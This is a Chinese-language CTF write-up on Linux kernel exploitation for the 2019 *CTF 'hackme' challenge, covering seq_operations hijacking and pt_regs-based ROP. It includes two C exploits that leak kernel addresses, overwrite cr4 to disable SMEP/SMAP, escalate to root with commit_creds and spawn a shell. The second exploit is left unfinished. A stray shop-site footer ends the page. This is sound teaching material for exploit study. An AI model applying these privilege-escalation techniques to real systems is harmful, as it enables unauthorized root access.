kernel 劫持seq_operations && 利用pt_regs

kernel 劫持seq_operations && 利用pt_regs

劫持seq_operations进行栈迁移

seq_operations是一个大小为0x20的结构体,在打开/proc/self/stat会申请出来。里面定义了四个函数指针,通过他们可以泄露出内核基地址。

struct seq_operations {     void * (*start) (struct seq_file *m, loff_t *pos);     void (*stop) (struct seq_file *m, void *v);     void * (*next) (struct seq_file *m, void *v, loff_t *pos);     int (*show) (struct seq_file *m, void *v); }; 

当我们read一个stat文件时,内核会调用proc_opsproc_read_iter指针

ssize_t seq_read_iter(struct kiocb *iocb, struct iov_iter *iter) {     struct seq_file *m = iocb->ki_filp->private_data;     //...     p = m->op->start(m, &m->index);     //... 

即会调用seq_operations->start指针,我们只需覆盖start指针为特定gadget,即可控制程序执行流。

2019 *starctf hackme关闭smap来尝试这种打法

exp1

#include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <string.h> #include <sys/sem.h> #include <sys/mman.h>  int fd; size_t heap_base, vmlinux_base, mod_tree, modprobe_path, ko_base, pool_addr; size_t vmlinux_base, heap_base, off, commit_creds, prepare_kernel_cred; size_t user_cs, user_ss, user_sp, user_rflags; size_t raw_vmlinux_base = 0xffffffff81000000; size_t rop[0x100] = {0};  struct Heap{     size_t index;     char *data;     size_t len;     size_t offset; };  void add(int index, size_t len, char *data) {  struct Heap heap;  heap.index = index;  heap.data = data;  heap.len = len;  ioctl(fd, 0x30000, &heap); }  void delete(int index) {  struct Heap heap;  heap.index = index;  ioctl(fd, 0x30001, &heap); }  void edit(int index, size_t len, size_t offset, char *data) {  struct Heap heap;  heap.index = index;  heap.data = data;  heap.len = len;  heap.offset = offset;  ioctl(fd, 0x30002, &heap); }  void show(int index, size_t len, size_t offset, char *data) {  struct Heap heap;  heap.index = index;  heap.data = data;  heap.len = len;  heap.offset = offset;  ioctl(fd, 0x30003, &heap); }   void save_status() {  __asm__(  "mov user_cs, cs;"  "mov user_ss, ss;"  "mov user_sp, rsp;"  "pushf;"  "pop user_rflags;"  );  puts("[+] save the state success!"); }  void get_shell() {  if (getuid() == 0)  {   puts("[+] get root");   //system("/bin/sh");   char *shell = "/bin/sh";   char *args[] = {shell, NULL};   execve(shell, args, NULL);  }  else  {   puts("[-] get shell error");   sleep(3);   exit(0);  } }  void get_root(void) {  //commit_creds(prepare_kernel_cred(0));  void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred;  void (*cc)(void *) = (void (*)(void *))commit_creds;  (*cc)((*pkc)(0)); }  int main() {  char buf[0x1000] = {0};  int i;  size_t seq_data[4] = {0};   save_status();   fd = open("/dev/hackme",0);  if(fd < 0)  {   puts("[-] open file error");   exit(0);  }   add(0, 0x20, buf); // 0  add(1, 0x20, buf); // 1  add(2, 0x20, buf); // 2  add(3, 0x20, buf); // 3   delete(0);  delete(2);   int fd_seq = open("/proc/self/stat", 0);  if(fd_seq < 0)  {   puts("[-] open stat error");   exit(0);  }    show(3, 0x20, -0x20, buf);  vmlinux_base = ((size_t *)buf)[0] - 0xd30c0;  printf("[+] vmlinux_base=> 0x%lx/n", vmlinux_base);  off = vmlinux_base - raw_vmlinux_base;  commit_creds = off + 0xffffffff8104d220;  prepare_kernel_cred = off + 0xffffffff8104d3d0;  show(1, 0x20, -0x20, buf);  heap_base = ((size_t *)buf)[0] - 0x80;  printf("[+] heap_base=> 0x%lx/n", heap_base);   i = 0;  rop[i++] = off + 0xffffffff8101b5a1; // pop rax; ret;  rop[i++] = 0x6f0;  rop[i++] = off + 0xffffffff8100252b; // mov cr4, rax; push rcx; popfq; pop rbp; ret;  rop[i++] = 0;  rop[i++] = (size_t)get_root;  rop[i++] = off + 0xffffffff81200c2e; // swapgs; popfq; pop rbp; ret;   rop[i++] = 0;  rop[i++] = 0;  rop[i++] = off + 0xffffffff81019356; // iretq; pop rbp; ret;  rop[i++] = (size_t)get_shell;  rop[i++] = user_cs;  rop[i++] = user_rflags;  rop[i++] = user_sp;  rop[i++] = user_ss;   ((size_t *)buf)[0] = off + 0xffffffff8103018e; // xchg eax, esp; ret;  edit(3, 0x20, -0x20, buf);    size_t fake_stack = (heap_base + 0x40) & 0xffffffff;  size_t mmap_base = fake_stack & 0xfffff000;   if(mmap((void *)mmap_base, 0x30000, 7, 0x22, -1, 0) != (void *)mmap_base)   {    puts("[-] mmap error");    sleep(3);    exit(0);   }  else   puts("[+] mmap success");   memcpy((void *)fake_stack, rop, sizeof(rop));   read(fd_seq, buf, 1);  return 0; } 

利用pt_regs

可以写一段如下汇编来控制程序执行流,再通过将寄存器押上栈进行ROP

 __asm__(  "mov r15, 0x1111111111;"  "mov r14, 0x2222222222;"  "mov r13, 0x3333333333;"  "mov r12, 0x4444444444;"  "mov rbp, 0x5555555555;"  "mov rbx, 0x6666666666;"  "mov r11, 0x7777777777;"  "mov r10, 0x8888888888;"  "mov r9,  0x9999999999;"  "mov r8,  0xaaaaaaaaaa;"  "mov rcx, 0x666666;"  "mov rdx, 8;"  "mov rsi, rsp;"  "mov rdi, fd_seq;"  "xor rax, rax;"  "syscall"  ); 

这是为什么呢?大家都知道系统调用是通过布置好寄存器的值之后执行syscall的过程,通过门结构进入到内核中的entry_SYSCALL_64函数。这个函数的内部存在这样一条指令: PUSH_AND_CLEAR_REGS rax=$-ENOSYS,这个指令很巧妙,他会把所有的寄存器压到栈上形成一个pt_regs结构体,位于内核栈底。

struct pt_regs { /*  * C ABI says these regs are callee-preserved. They aren't saved on kernel entry  * unless syscall needs a complete, fully filled "struct pt_regs".  */     unsigned long r15;     unsigned long r14;     unsigned long r13;     unsigned long r12;     unsigned long rbp;     unsigned long rbx; /* These regs are callee-clobbered. Always saved on kernel entry. */     unsigned long r11;     unsigned long r10;     unsigned long r9;     unsigned long r8;     unsigned long rax;     unsigned long rcx;     unsigned long rdx;     unsigned long rsi;     unsigned long rdi; /*  * On syscall entry, this is syscall#. On CPU exception, this is error code.  * On hw interrupt, it's IRQ number:  */     unsigned long orig_rax; /* Return frame for iretq */     unsigned long rip;     unsigned long cs;     unsigned long eflags;     unsigned long rsp;     unsigned long ss; /* top of stack page */ }; 

这里寄存器r8-r15都会被放到栈上,如果我们可以合理控制好这些寄存器的值,再找到一个add rsp, xxxh; ret;的寄存器放在seq_operations->start的位置,那么就可以控制程序执行流,考虑到一般这里栈上连续存放的寄存器一般只有4-5个,我们可以用commit_creds(&init_cred)来代替commit_creds(prepare_kernel_cred(NULL)),布局如下:

pop_rdi_ret; init_cred; commit_creds; swapgs_restore_regs_and_return_to_usermode; 

由于我这里并没有能找到合适的add rsp, xxxh; ret;,故就留一个调试半成品exp

exp2:

#include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <string.h> #include <sys/sem.h> #include <sys/mman.h>  int fd; size_t heap_base, vmlinux_base, mod_tree, modprobe_path, ko_base, pool_addr; size_t vmlinux_base, heap_base, off, commit_creds, prepare_kernel_cred; size_t user_cs, user_ss, user_sp, user_rflags; size_t raw_vmlinux_base = 0xffffffff81000000; size_t rop[0x100] = {0}; int fd_seq;  struct Heap{     size_t index;     char *data;     size_t len;     size_t offset; };  void add(int index, size_t len, char *data) {  struct Heap heap;  heap.index = index;  heap.data = data;  heap.len = len;  ioctl(fd, 0x30000, &heap); }  void delete(int index) {  struct Heap heap;  heap.index = index;  ioctl(fd, 0x30001, &heap); }  void edit(int index, size_t len, size_t offset, char *data) {  struct Heap heap;  heap.index = index;  heap.data = data;  heap.len = len;  heap.offset = offset;  ioctl(fd, 0x30002, &heap); }  void show(int index, size_t len, size_t offset, char *data) {  struct Heap heap;  heap.index = index;  heap.data = data;  heap.len = len;  heap.offset = offset;  ioctl(fd, 0x30003, &heap); }   void save_status() {  __asm__(  "mov user_cs, cs;"  "mov user_ss, ss;"  "mov user_sp, rsp;"  "pushf;"  "pop user_rflags;"  );  puts("[+] save the state success!"); }  void get_shell() {  if (getuid() == 0)  {   puts("[+] get root");   //system("/bin/sh");   char *shell = "/bin/sh";   char *args[] = {shell, NULL};   execve(shell, args, NULL);  }  else  {   puts("[-] get shell error");   sleep(3);   exit(0);  } }  void get_root(void) {  //commit_creds(prepare_kernel_cred(0));  void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred;  void (*cc)(void *) = (void (*)(void *))commit_creds;  (*cc)((*pkc)(0)); }  int main() {  char buf[0x1000] = {0};  int i;  size_t seq_data[4] = {0};   save_status();   fd = open("/dev/hackme",0);  if(fd < 0)  {   puts("[-] open file error");   exit(0);  }   add(0, 0x20, buf); // 0  add(1, 0x20, buf); // 1   delete(0);   fd_seq = open("/proc/self/stat", 0);  if(fd_seq < 0)  {   puts("[-] open stat error");   exit(0);  }    show(1, 0x20, -0x20, buf);  vmlinux_base = ((size_t *)buf)[0] - 0xd30c0;  printf("[+] vmlinux_base=> 0x%lx/n", vmlinux_base);  off = vmlinux_base - raw_vmlinux_base;  commit_creds = off + 0xffffffff8104d220;  prepare_kernel_cred = off + 0xffffffff8104d3d0;   size_t gadget = 0xffffffff8103018e; // xchg eax, esp; ret;  ((size_t *)buf)[0] = gadget;   edit(1, 0x20, -0x20, buf);   __asm__(  "mov r15, 0x1111111111;"  "mov r14, 0x2222222222;"  "mov r13, 0x3333333333;"  "mov r12, 0x4444444444;"  "mov rbp, 0x5555555555;"  "mov rbx, 0x6666666666;"  "mov r11, 0x7777777777;"  "mov r10, 0x8888888888;"  "mov r9,  0x9999999999;"  "mov r8,  0xaaaaaaaaaa;"  "mov rcx, 0x666666;"  "mov rdx, 8;"  "mov rsi, rsp;"  "mov rdi, fd_seq;"  "xor rax, rax;"  "syscall"  );  return 0; } 

商匡云商
Logo
注册新帐户
对比商品
  • 合计 (0)
对比
0
购物车